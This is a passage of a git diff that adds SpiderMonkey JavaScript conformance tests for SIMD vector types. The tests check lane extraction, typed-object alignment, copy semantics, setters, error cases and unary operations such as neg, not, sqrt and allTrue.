+ s8: 57, s9: 58, s10: 59, s11: 60, s12: 61, s13: 62, s14: 63, s15: 64};
+ }, TypeError, "Setting Uint8x16 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64];
+ }, TypeError, "Setting Uint8x16 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 52;
+ }, TypeError, "Setting Uint8x16 from a number");
+}
+
+function testUint16x8Alignment() {
+ assertEq(Uint16x8.byteLength, 16);
+ assertEq(Uint16x8.byteAlignment, 16);
+
+ var Compound = new StructType({c: uint8, d: uint8, f: Uint16x8});
+ assertEq(Compound.fieldOffsets.c, 0);
+ assertEq(Compound.fieldOffsets.d, 1);
+ assertEq(Compound.fieldOffsets.f, 16);
+}
+
+function testUint16x8Getters() {
+ // Create a Uint16x8 and check that the getters work:
+ var f = Uint16x8(11, 22, 33, 44, 55, 66, 77, 88);
+ assertEq(Uint16x8.extractLane(f, 0), 11);
+ assertEq(Uint16x8.extractLane(f, 1), 22);
+ assertEq(Uint16x8.extractLane(f, 2), 33);
+ assertEq(Uint16x8.extractLane(f, 3), 44);
+ assertEq(Uint16x8.extractLane(f, 4), 55);
+ assertEq(Uint16x8.extractLane(f, 5), 66);
+ assertEq(Uint16x8.extractLane(f, 6), 77);
+ assertEq(Uint16x8.extractLane(f, 7), 88);
+
+ assertThrowsInstanceOf(() => Uint16x8.extractLane(f, 8), RangeError);
+ assertThrowsInstanceOf(() => Uint16x8.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Uint16x8.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Uint16x8.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Uint16x8.extractLane(Uint32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Uint16x8.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Uint16x8.extractLane(f, f), TypeError);
+}
+
+function testUint16x8Handles() {
+ var Array = Uint16x8.array(3);
+ var array = new Array([Uint16x8(1, 2, 3, 4, 5, 6, 7, 8),
+ Uint16x8(9, 10, 11, 12, 13, 14, 15, 16),
+ Uint16x8(17, 18, 19, 20, 21, 22, 23, 24)]);
+
+ // Test that trying to create handle into the interior of a
+ // Uint16x8 fails.
+ assertThrowsInstanceOf(function() {
+ var h = int16.handle(array, 1, 0);
+ }, TypeError, "Creating a int16 handle to elem via ctor");
+
+ assertThrowsInstanceOf(function() {
+ var h = int16.handle();
+ Handle.move(h, array, 1, 0);
+ }, TypeError, "Creating a int16 handle to elem via move");
+}
+
+function testUint16x8Reify() {
+ var Array = Uint16x8.array(3);
+ var array = new Array([Uint16x8(1, 2, 3, 4, 5, 6, 7, 8),
+ Uint16x8(9, 10, 11, 12, 13, 14, 15, 16),
+ Uint16x8(17, 18, 19, 20, 21, 22, 23, 24)]);
+
+ // Test that reading array[1] produces a *copy* of Uint16x8, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Uint16x8.extractLane(f, 3), 12);
+ assertEq(Uint16x8.extractLane(array[1], 3), 12);
+ array[1] = Uint16x8(25, 26, 27, 28, 29, 30, 31, 32);
+ assertEq(Uint16x8.extractLane(f, 3), 12);
+ assertEq(Uint16x8.extractLane(array[1], 3), 28);
+}
+
+function testUint16x8Setters() {
+ var Array = Uint16x8.array(3);
+ var array = new Array([Uint16x8(1, 2, 3, 4, 5, 6, 7, 8),
+ Uint16x8(9, 10, 11, 12, 13, 14, 15, 16),
+ Uint16x8(17, 18, 19, 20, 21, 22, 23, 24)]);
+ assertEq(Uint16x8.extractLane(array[1], 3), 12);
+
+ // Test that we are allowed to write Uint16x8 values into array,
+ // but not other things.
+
+ array[1] = Uint16x8(25, 26, 27, 28, 29, 30, 31, 32);
+ assertEq(Uint16x8.extractLane(array[1], 3), 28);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {s0: 25, s1: 26, s2: 27, s3: 28, s4: 29, s5: 30, s6: 31, s7: 32};
+ }, TypeError, "Setting Uint16x8 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [25, 26, 27, 28, 29, 30, 31, 32];
+ }, TypeError, "Setting Uint16x8 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 28;
+ }, TypeError, "Setting Uint16x8 from a number");
+}
+
+function testUint32x4Alignment() {
+ assertEq(Uint32x4.byteLength, 16);
+ assertEq(Uint32x4.byteAlignment, 16);
+
+ var Compound = new StructType({c: uint8, d: uint8, f: Uint32x4});
+ assertEq(Compound.fieldOffsets.c, 0);
+ assertEq(Compound.fieldOffsets.d, 1);
+ assertEq(Compound.fieldOffsets.f, 16);
+}
+
+function testUint32x4Getters() {
+ // Create a Uint32x4 and check that the getters work:
+ var f = Uint32x4(11, 22, 33, 44);
+ assertEq(Uint32x4.extractLane(f, 0), 11);
+ assertEq(Uint32x4.extractLane(f, 1), 22);
+ assertEq(Uint32x4.extractLane(f, 2), 33);
+ assertEq(Uint32x4.extractLane(f, 3), 44);
+
+ assertThrowsInstanceOf(() => Uint32x4.extractLane(f, 4), RangeError);
+ assertThrowsInstanceOf(() => Uint32x4.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Uint32x4.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Uint32x4.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Uint32x4.extractLane(Float32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Uint32x4.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Uint32x4.extractLane(f, f), TypeError);
+}
+
+function testUint32x4Handles() {
+ var Array = Uint32x4.array(3);
+ var array = new Array([Uint32x4(1, 2, 3, 4),
+ Uint32x4(5, 6, 7, 8),
+ Uint32x4(9, 10, 11, 12)]);
+
+ // Test that trying to create handle into the interior of a
+ // Uint32x4 fails.
+ assertThrowsInstanceOf(function() {
+ var h = int32.handle(array, 1, 0);
+ }, TypeError, "Creating a int32 handle to elem via ctor");
+
+ assertThrowsInstanceOf(function() {
+ var h = int32.handle();
+ Handle.move(h, array, 1, 0);
+ }, TypeError, "Creating a int32 handle to elem via move");
+}
+
+function testUint32x4Reify() {
+ var Array = Uint32x4.array(3);
+ var array = new Array([Uint32x4(1, 2, 3, 4),
+ Uint32x4(5, 6, 7, 8),
+ Uint32x4(9, 10, 11, 12)]);
+
+ // Test that reading array[1] produces a *copy* of Uint32x4, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Uint32x4.extractLane(f, 3), 8);
+ assertEq(Uint32x4.extractLane(array[1], 3), 8);
+ array[1] = Uint32x4(15, 16, 17, 18);
+ assertEq(Uint32x4.extractLane(f, 3), 8);
+ assertEq(Uint32x4.extractLane(array[1], 3), 18);
+}
+
+function testUint32x4Setters() {
+ var Array = Uint32x4.array(3);
+ var array = new Array([Uint32x4(1, 2, 3, 4),
+ Uint32x4(5, 6, 7, 8),
+ Uint32x4(9, 10, 11, 12)]);
+ assertEq(Uint32x4.extractLane(array[1], 3), 8);
+
+ // Test that we are allowed to write Uint32x4 values into array,
+ // but not other things.
+ array[1] = Uint32x4(15, 16, 17, 18);
+ assertEq(Uint32x4.extractLane(array[1], 3), 18);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {x: 15, y: 16, z: 17, w: 18};
+ }, TypeError, "Setting Uint32x4 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [15, 16, 17, 18];
+ }, TypeError, "Setting Uint32x4 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 22;
+ }, TypeError, "Setting Uint32x4 from a number");
+}
+
+function testBool8x16Getters() {
+ // Create a Bool8x16 and check that the getters work:
+ var f = Bool8x16(true, false, true, false, true, false, true, false, true, true, false, false, true, true, false, false);
+ assertEq(Bool8x16.extractLane(f, 0), true);
+ assertEq(Bool8x16.extractLane(f, 1), false);
+ assertEq(Bool8x16.extractLane(f, 2), true);
+ assertEq(Bool8x16.extractLane(f, 3), false);
+ assertEq(Bool8x16.extractLane(f, 4), true);
+ assertEq(Bool8x16.extractLane(f, 5), false);
+ assertEq(Bool8x16.extractLane(f, 6), true);
+ assertEq(Bool8x16.extractLane(f, 7), false);
+ assertEq(Bool8x16.extractLane(f, 8), true);
+ assertEq(Bool8x16.extractLane(f, 9), true);
+ assertEq(Bool8x16.extractLane(f, 10), false);
+ assertEq(Bool8x16.extractLane(f, 11), false);
+ assertEq(Bool8x16.extractLane(f, 12), true);
+ assertEq(Bool8x16.extractLane(f, 13), true);
+ assertEq(Bool8x16.extractLane(f, 14), false);
+ assertEq(Bool8x16.extractLane(f, 15), false);
+
+ assertThrowsInstanceOf(() => Bool8x16.extractLane(f, 16), RangeError);
+ assertThrowsInstanceOf(() => Bool8x16.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Bool8x16.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Bool8x16.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Bool8x16.extractLane(Float32x4(1, 2, 3, 4), 0), TypeError);
+ assertThrowsInstanceOf(() => Bool8x16.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Bool8x16.extractLane(f, f), TypeError);
+}
+
+function testBool8x16Reify() {
+ var Array = Bool8x16.array(3);
+ var array = new Array([Bool8x16(true, false, true, false, true, false, true, false, true, false, true, false, true, false, true, false),
+ Bool8x16(false, true, false, true, false, true, false, true, false, true, false, true, false, true, false, true),
+ Bool8x16(true, true, true, true, false, false, false, false, true, true, true, true, false, false, false, false)]);
+
+ // Test that reading array[1] produces a *copy* of Bool8x16, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Bool8x16.extractLane(f, 2), false);
+ assertEq(Bool8x16.extractLane(array[1], 2), false);
+ assertEq(Bool8x16.extractLane(f, 3), true);
+ assertEq(Bool8x16.extractLane(array[1], 3), true);
+ array[1] = Bool8x16(true, false, true, false, true, false, true, false, true, false, true, false, true, false, true, false);
+ assertEq(Bool8x16.extractLane(f, 3), true);
+ assertEq(Bool8x16.extractLane(array[1], 3), false);
+}
+
+function testBool8x16Setters() {
+ var Array = Bool8x16.array(3);
+ var array = new Array([Bool8x16(true, false, true, false, true, false, true, false, true, false, true, false, true, false, true, false),
+ Bool8x16(false, true, false, true, false, true, false, true, false, true, false, true, false, true, false, true),
+ Bool8x16(true, true, true, true, false, false, false, false, true, true, true, true, false, false, false, false)]);
+
+ assertEq(Bool8x16.extractLane(array[1], 3), true);
+ // Test that we are allowed to write Bool8x16 values into array,
+ // but not other things.
+ array[1] = Bool8x16(true, false, true, false, true, false, true, false, true, false, true, false, true, false, true, false);
+ assertEq(Bool8x16.extractLane(array[1], 3), false);
+ assertThrowsInstanceOf(function() {
+ array[1] = {s0: true, s1: true, s2: true, s3: true, s4: true, s5: true, s6: true, s7: true,
+ s8: false, s9: false, s10: false, s11: false, s12: false, s13: false, s14: false, s15: false};
+ }, TypeError, "Setting Bool8x16 from an object");
+ assertThrowsInstanceOf(function() {
+ array[1] = [true, false, true, false, true, false, true, false, true, false, true, false, true, false, true, false];
+ }, TypeError, "Setting Bool8x16 from an array");
+ assertThrowsInstanceOf(function() {
+ array[1] = false;
+ }, TypeError, "Setting Bool8x16 from a boolean");
+}
+
+function testBool16x8Getters() {
+ // Create a Bool8x16 and check that the getters work:
+ var f = Bool16x8(true, false, true, false, true, true, false, false);
+ assertEq(Bool16x8.extractLane(f, 0), true);
+ assertEq(Bool16x8.extractLane(f, 1), false);
+ assertEq(Bool16x8.extractLane(f, 2), true);
+ assertEq(Bool16x8.extractLane(f, 3), false);
+ assertEq(Bool16x8.extractLane(f, 4), true);
+ assertEq(Bool16x8.extractLane(f, 5), true);
+ assertEq(Bool16x8.extractLane(f, 6), false);
+ assertEq(Bool16x8.extractLane(f, 7), false);
+
+ assertThrowsInstanceOf(() => Bool16x8.extractLane(f, 8), RangeError);
+ assertThrowsInstanceOf(() => Bool16x8.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Bool16x8.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Bool16x8.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Bool16x8.extractLane(Float32x4(1, 2, 3, 4), 0), TypeError);
+ assertThrowsInstanceOf(() => Bool16x8.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Bool16x8.extractLane(f, f), TypeError);
+}
+
+function testBool16x8Reify() {
+ var Array = Bool16x8.array(3);
+ var array = new Array([Bool16x8(true, false, true, false, true, false, true, false),
+ Bool16x8(false, true, false, true, false, true, false, true),
+ Bool16x8(true, true, true, false, true, true, true, false)]);
+ // Test that reading array[1] produces a *copy* of Bool16x8, not an
+ // alias into the array.
+ var f = array[1];
+ assertEq(Bool16x8.extractLane(f, 2), false);
+ assertEq(Bool16x8.extractLane(array[1], 2), false);
+ assertEq(Bool16x8.extractLane(f, 3), true);
+ assertEq(Bool16x8.extractLane(array[1], 3), true);
+ array[1] = Bool16x8(true, false, true, false, true, false, true, false);
+ assertEq(Bool16x8.extractLane(f, 3), true);
+ assertEq(Bool16x8.extractLane(array[1], 3), false);
+}
+
+function testBool16x8Setters() {
+ var Array = Bool16x8.array(3);
+ var array = new Array([Bool16x8(true, false, true, false, true, false, true, false),
+ Bool16x8(false, true, false, true, false, true, false, true),
+ Bool16x8(true, true, true, false, true, true, true, false)]);
+
+
+ assertEq(Bool16x8.extractLane(array[1], 3), true);
+ // Test that we are allowed to write Bool16x8 values into array,
+ // but not other things.
+ array[1] = Bool16x8(true, false, true, false, true, false, true, false);
+ assertEq(Bool16x8.extractLane(array[1], 3), false);
+ assertThrowsInstanceOf(function() {
+ array[1] = {s0: false, s1: true, s2: false, s3: true, s4: false, s5: true, s6: false, s7: true};
+ }, TypeError, "Setting Bool16x8 from an object");
+ assertThrowsInstanceOf(function() {
+ array[1] = [true, false, false, true, true, true, false, false];
+ }, TypeError, "Setting Bool16x8 from an array");
+ assertThrowsInstanceOf(function() {
+ array[1] = false;
+ }, TypeError, "Setting Bool16x8 from a boolean");
+}
+
+function testBool32x4Getters() {
+ // Create a Bool32x4 and check that the getters work:
+ var f = Bool32x4(true, false, false, true);
+ assertEq(Bool32x4.extractLane(f, 0), true);
+ assertEq(Bool32x4.extractLane(f, 1), false);
+ assertEq(Bool32x4.extractLane(f, 2), false);
+ assertEq(Bool32x4.extractLane(f, 3), true);
+ assertThrowsInstanceOf(() => Bool32x4.extractLane(f, 4), RangeError);
+ assertThrowsInstanceOf(() => Bool32x4.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Bool32x4.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Bool32x4.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Bool32x4.extractLane(Float32x4(1, 2, 3, 4), 0), TypeError);
+ assertThrowsInstanceOf(() => Bool32x4.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Bool32x4.extractLane(f, f), TypeError);
+}
+
+function testBool32x4Reify() {
+ var Array = Bool32x4.array(3);
+ var array = new Array([Bool32x4(true, false, false, true),
+ Bool32x4(true, false, true, false),
+ Bool32x4(true, true, true, false)]);
+
+ // Test that reading array[1] produces a *copy* of Bool32x4, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Bool32x4.extractLane(f, 2), true);
+ assertEq(Bool32x4.extractLane(array[1], 2), true);
+ assertEq(Bool32x4.extractLane(f, 3), false);
+ assertEq(Bool32x4.extractLane(array[1], 3), false);
+ array[1] = Bool32x4(false, true, false, true);
+ assertEq(Bool32x4.extractLane(f, 3), false);
+ assertEq(Bool32x4.extractLane(array[1], 3), true);
+}
+
+function testBool32x4Setters() {
+ var Array = Bool32x4.array(3);
+ var array = new Array([Bool32x4(true, false, false, true),
+ Bool32x4(true, false, true, false),
+ Bool32x4(true, true, true, false)]);
+
+
+ assertEq(Bool32x4.extractLane(array[1], 3), false);
+ // Test that we are allowed to write Bool32x4 values into array,
+ // but not other things.
+ array[1] = Bool32x4(false, true, false, true);
+ assertEq(Bool32x4.extractLane(array[1], 3), true);
+ assertThrowsInstanceOf(function() {
+ array[1] = {x: false, y: true, z: false, w: true};
+ }, TypeError, "Setting Bool32x4 from an object");
+ assertThrowsInstanceOf(function() {
+ array[1] = [true, false, false, true];
+ }, TypeError, "Setting Bool32x4 from an array");
+ assertThrowsInstanceOf(function() {
+ array[1] = false;
+ }, TypeError, "Setting Bool32x4 from a number");
+}
+
+function testBool64x2Getters() {
+ // Create a Bool64x2 and check that the getters work:
+ var f = Bool64x2(true, false);
+ assertEq(Bool64x2.extractLane(f, 0), true);
+ assertEq(Bool64x2.extractLane(f, 1), false);
+
+ assertThrowsInstanceOf(() => Bool64x2.extractLane(f, 2), RangeError);
+ assertThrowsInstanceOf(() => Bool64x2.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Bool64x2.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Bool64x2.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Bool64x2.extractLane(Bool32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Bool64x2.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Bool64x2.extractLane(f, f), TypeError);
+}
+
+function testBool64x2Reify() {
+ var Array = Bool64x2.array(3);
+ var array = new Array([Bool64x2(true, false),
+ Bool64x2(false, true),
+ Bool64x2(true, true)]);
+
+ // Test that reading array[1] produces a *copy* of Bool64x2, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Bool64x2.extractLane(f, 1), true);
+ assertEq(Bool64x2.extractLane(array[1], 1), true);
+ array[1] = Bool64x2(false, false);
+ assertEq(Bool64x2.extractLane(f, 1), true);
+ assertEq(Bool64x2.extractLane(array[1], 1), false);
+}
+
+function testBool64x2Setters() {
+ var Array = Bool64x2.array(3);
+ var array = new Array([Bool64x2(true, false),
+ Bool64x2(false, true),
+ Bool64x2(true, true)]);
+ assertEq(Bool64x2.extractLane(array[1], 1), true);
+
+ // Test that we are allowed to write Bool64x2 values into array,
+ // but not other things.
+
+ array[1] = Bool64x2(false, false);
+ assertEq(Bool64x2.extractLane(array[1], 1), false);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {x: false, y: false };
+ }, TypeError, "Setting Bool64x2 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [ false, false ];
+ }, TypeError, "Setting Bool64x2 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 9;
+ }, TypeError, "Setting Bool64x2 from a number");
+}
+
+
+function test() {
+
+ testFloat32x4Alignment();
+ testFloat32x4Getters();
+ testFloat32x4Handles();
+ testFloat32x4Reify();
+ testFloat32x4Setters();
+
+ testFloat64x2Alignment();
+ testFloat64x2Getters();
+ testFloat64x2Handles();
+ testFloat64x2Reify();
+ testFloat64x2Setters();
+
+ testInt8x16Alignment();
+ testInt8x16Getters();
+ testInt8x16Handles();
+ testInt8x16Reify();
+ testInt8x16Setters();
+
+ testInt16x8Alignment();
+ testInt16x8Getters();
+ testInt16x8Handles();
+ testInt16x8Reify();
+ testInt16x8Setters();
+
+ testInt32x4Alignment();
+ testInt32x4Getters();
+ testInt32x4Handles();
+ testInt32x4Reify();
+ testInt32x4Setters();
+
+ testUint8x16Alignment();
+ testUint8x16Getters();
+ testUint8x16Handles();
+ testUint8x16Reify();
+ testUint8x16Setters();
+
+ testUint16x8Alignment();
+ testUint16x8Getters();
+ testUint16x8Handles();
+ testUint16x8Reify();
+ testUint16x8Setters();
+
+ testUint32x4Alignment();
+ testUint32x4Getters();
+ testUint32x4Handles();
+ testUint32x4Reify();
+ testUint32x4Setters();
+
+ testBool8x16Getters();
+ testBool8x16Reify();
+ testBool8x16Setters();
+
+ testBool16x8Getters();
+ testBool16x8Reify();
+ testBool16x8Setters();
+
+ testBool32x4Getters();
+ testBool32x4Reify();
+ testBool32x4Setters();
+
+ testBool64x2Getters();
+ testBool64x2Reify();
+ testBool64x2Setters();
+
+ if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+ }
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/unary-operations.js b/js/src/tests/ecma_7/SIMD/unary-operations.js
new file mode 100644
index 000000000..b04d23874
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/unary-operations.js
@@ -0,0 +1,410 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+var Float32x4 = SIMD.Float32x4;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+var Bool8x16 = SIMD.Bool8x16;
+var Bool16x8 = SIMD.Bool16x8;
+var Bool32x4 = SIMD.Bool32x4;
+var Bool64x2 = SIMD.Bool64x2;
+
+function testFloat32x4abs() {
+ function absf(a) {
+ return Math.abs(Math.fround(a));
+ }
+
+ var vals = [
+ [-1, 2, -3, 4],
+ [-1.63, 2.46, -3.17, 4.94],
+ [NaN, -0, Infinity, -Infinity]
+ ];
+ for (var v of vals) {
+ assertEqX4(Float32x4.abs(Float32x4(...v)), v.map(absf));
+ }
+}
+
+function testFloat32x4neg() {
+ function negf(a) {
+ return -1 * Math.fround(a);
+ }
+
+ var vals = [
+ [1, 2, 3, 4],
+ [0.999, -0.001, 3.78, 4.05],
+ [NaN, -0, Infinity, -Infinity]
+ ];
+ for (var v of vals) {
+ assertEqX4(Float32x4.neg(Float32x4(...v)), v.map(negf));
+ }
+}
+
+function testFloat32x4reciprocalApproximation() {
+ function reciprocalf(a) {
+ return Math.fround(1 / Math.fround(a));
+ }
+
+ var vals = [
+ [[1, 0.5, 0.25, 0.125], [1, 2, 4, 8]],
+ [[1.6, 0.8, 0.4, 0.2], [1.6, 0.8, 0.4, 0.2].map(reciprocalf)],
+ [[NaN, -0, Infinity, -Infinity], [NaN, -Infinity, 0, -0]]
+ ];
+
+ for (var [v,w] of vals) {
+ assertEqX4(Float32x4.reciprocalApproximation(Float32x4(...v)), w);
+ }
+}
+
+function testFloat32x4reciprocalSqrtApproximation() {
+ function reciprocalsqrtf(a) {
+ assertEq(Math.fround(a), a);
+ return Math.fround(1 / Math.fround(Math.sqrt(a)));
+ }
+
+ var vals = [
+ [[1, 1, 0.25, 0.25], [1, 1, 2, 2]],
+ [[25, 16, 6.25, 1.5625], [25, 16, 6.25, 1.5625].map(reciprocalsqrtf)],
+ [[NaN, -0, Infinity, -Infinity], [NaN, -0, Infinity, -Infinity].map(reciprocalsqrtf)],
+ [[Math.pow(2, 32), Math.pow(2, -32), +0, Math.pow(2, -148)],
+ [Math.pow(2, -16), Math.pow(2, 16), Infinity, Math.pow(2, 74)]]
+ ];
+
+ for (var [v,w] of vals) {
+ assertEqX4(Float32x4.reciprocalSqrtApproximation(Float32x4(...v)), w);
+ }
+}
+
+function testFloat32x4sqrt() {
+ function sqrtf(a) {
+ return Math.fround(Math.sqrt(Math.fround(a)));
+ }
+
+ var vals = [
+ [[1, 4, 9, 16], [1, 2, 3, 4]],
+ [[2.7225, 7.3441, 9.4249, -1], [2.7225, 7.3441, 9.4249, -1].map(sqrtf)],
+ [[NaN, -0, Infinity, -Infinity], [NaN, -0, Infinity, NaN]]
+ ];
+
+ for (var [v,w] of vals) {
+ assertEqX4(Float32x4.sqrt(Float32x4(...v)), w);
+ }
+}
+
+function testInt8x16neg() {
+ var vals = [
+ [[1, 2, 3, 4, 5, 6, 7, 8, -1, -2, -3, -4, -5, INT8_MAX, INT8_MIN, 0],
+ [-1, -2, -3, -4, -5, -6, -7, -8, 1, 2, 3, 4, 5, -INT8_MAX, INT8_MIN, 0]]
+ ];
+ for (var [v,w] of vals) {
+ assertEqX16(Int8x16.neg(Int8x16(...v)), w);
+ }
+}
+
+function testInt8x16not() {
+ var vals = [
+ [[1, 2, 3, 4, 5, 6, 7, -1, -2, -3, -4, -5, -6, 0, INT8_MIN, INT8_MAX],
+ [1, 2, 3, 4, 5, 6, 7, -1, -2, -3, -4, -5, -6, 0, INT8_MIN, INT8_MAX].map((x) => ~x << 24 >> 24)]
+ ];
+ for (var [v,w] of vals) {
+ assertEqX16(Int8x16.not(Int8x16(...v)), w);
+ }
+}
+
+function testInt16x8neg() {
+ var vals = [
+ [[1, 2, 3, -1, -2, 0, INT16_MIN, INT16_MAX],
+ [-1, -2, -3, 1, 2, 0, INT16_MIN, -INT16_MAX]]
+ ];
+ for (var [v,w] of vals) {
+ assertEqX8(Int16x8.neg(Int16x8(...v)), w);
+ }
+}
+
+function testInt16x8not() {
+ var vals = [
+ [[1, 2, 3, -1, -2, 0, INT16_MIN, INT16_MAX],
+ [1, 2, 3, -1, -2, 0, INT16_MIN, INT16_MAX].map((x) => ~x << 16 >> 16)]
+ ];
+ for (var [v,w] of vals) {
+ assertEqX8(Int16x8.not(Int16x8(...v)), w);
+ }
+}
+
+function testInt32x4neg() {
+ var valsExp = [
+ [[1, 2, 3, 4], [-1, -2, -3, -4]],
+ [[INT32_MAX, INT32_MIN, -0, 0], [-INT32_MAX | 0, -INT32_MIN | 0, 0, 0]]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEqX4(Int32x4.neg(Int32x4(...v)), w);
+ }
+}
+
+function testInt32x4not() {
+ var valsExp = [
+ [[1, 2, 3, 4], [-2, -3, -4, -5]],
+ [[INT32_MAX, INT32_MIN, 0, 0], [~INT32_MAX | 0, ~INT32_MIN | 0, ~0 | 0, ~0 | 0]]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEqX4(Int32x4.not(Int32x4(...v)), w);
+ }
+}
+
+function testUint8x16neg() {
+ var vals = [
+ [[ 1, 2, 3, 4, 5, 6, 7, 0, -1, -2, -3, -4, UINT8_MAX, INT8_MAX, 0, 0],
+ [255, 254, 253, 252, 251, 250, 249, 0, 1, 2, 3, 4, 1, INT8_MAX+2, 0, 0]]
+ ];
+ for (var [v,w] of vals) {
+ assertEqX16(Uint8x16.neg(Uint8x16(...v)), w);
+ }
+}
+
+function testUint8x16not() {
+ var vals = [
+ [[1, 2, 3, 4, 5, 6, 7, -1, -2, -3, -4, -5, -6, 0, INT8_MIN, INT8_MAX],
+ [1, 2, 3, 4, 5, 6, 7, -1, -2, -3, -4, -5, -6, 0, INT8_MIN, INT8_MAX].map((x) => ~x << 24 >>> 24)]
+ ];
+ for (var [v,w] of vals) {
+ assertEqX16(Uint8x16.not(Uint8x16(...v)), w);
+ }
+}
+
+function testUint16x8neg() {
+ var vals = [
+ [[1, 2, UINT16_MAX, -1, -2, 0, INT16_MIN, INT16_MAX],
+ [1, 2, UINT16_MAX, -1, -2, 0, INT16_MIN, INT16_MAX].map((x) => -x << 16 >>> 16)]
+ ];
+ for (var [v,w] of vals) {
+ assertEqX8(Uint16x8.neg(Uint16x8(...v)), w);
+ }
+}
+
+function testUint16x8not() {
+ var vals = [
+ [[1, 2, UINT16_MAX, -1, -2, 0, INT16_MIN, INT16_MAX],
+ [1, 2, UINT16_MAX, -1, -2, 0, INT16_MIN, INT16_MAX].map((x) => ~x << 16 >>> 16)]
+ ];
+ for (var [v,w] of vals) {
+ assertEqX8(Uint16x8.not(Uint16x8(...v)), w);
+ }
+}
+
+function testUint32x4neg() {
+ var valsExp = [
+ [[1, 2, 3, 4], [-1 >>> 0, -2 >>> 0, -3 >>> 0, -4 >>> 0]],
+ [[INT32_MAX, INT32_MIN, -0, 0], [-INT32_MAX >>> 0, -INT32_MIN >>> 0, 0, 0]]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEqX4(Uint32x4.neg(Uint32x4(...v)), w);
+ }
+}
+
+function testUint32x4not() {
+ var valsExp = [
+ [[1, 2, 3, 4], [~1 >>> 0, ~2 >>> 0, ~3 >>> 0, ~4 >>> 0]],
+ [[INT32_MAX, INT32_MIN, UINT32_MAX, 0], [~INT32_MAX >>> 0, ~INT32_MIN >>> 0, 0, ~0 >>> 0]]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEqX4(Uint32x4.not(Uint32x4(...v)), w);
+ }
+}
+
+function testBool8x16not() {
+ var valsExp = [
+ [[true, false, true, false, true, false, true, false, true, false, true, false, true, false, true, false],
+ [false, true, false, true, false, true, false, true, false, true, false, true, false, true, false, true]],
+ [[true, true, false, false, true, true, false, false, true, true, false, false, true, true, false, false],
+ [false, false, true, true, false, false, true, true, false, false, true, true, false, false, true, true]]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEqX16(Bool8x16.not(Bool8x16(...v)), w);
+ }
+}
+
+function testBool8x16allTrue() {
+ var valsExp = [
+ [[false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false], false],
+ [[true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true], true],
+ [[false, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true], false],
+ [[true, false, true, true, true, true, true, true, true, true, true, true, true, true, true, true], false],
+ [[true, false, true, true, true, true, true, true, true, true, true, true, true, true, false, true], false],
+ [[true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, false], false],
+ ];
+ for (var [v,w] of valsExp) {
+ assertEq(Bool8x16.allTrue(Bool8x16(...v)), w);
+ }
+}
+
+function testBool8x16anyTrue() {
+ var valsExp = [
+ [[false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false], false],
+ [[true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true], true],
+ [[false, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true], true],
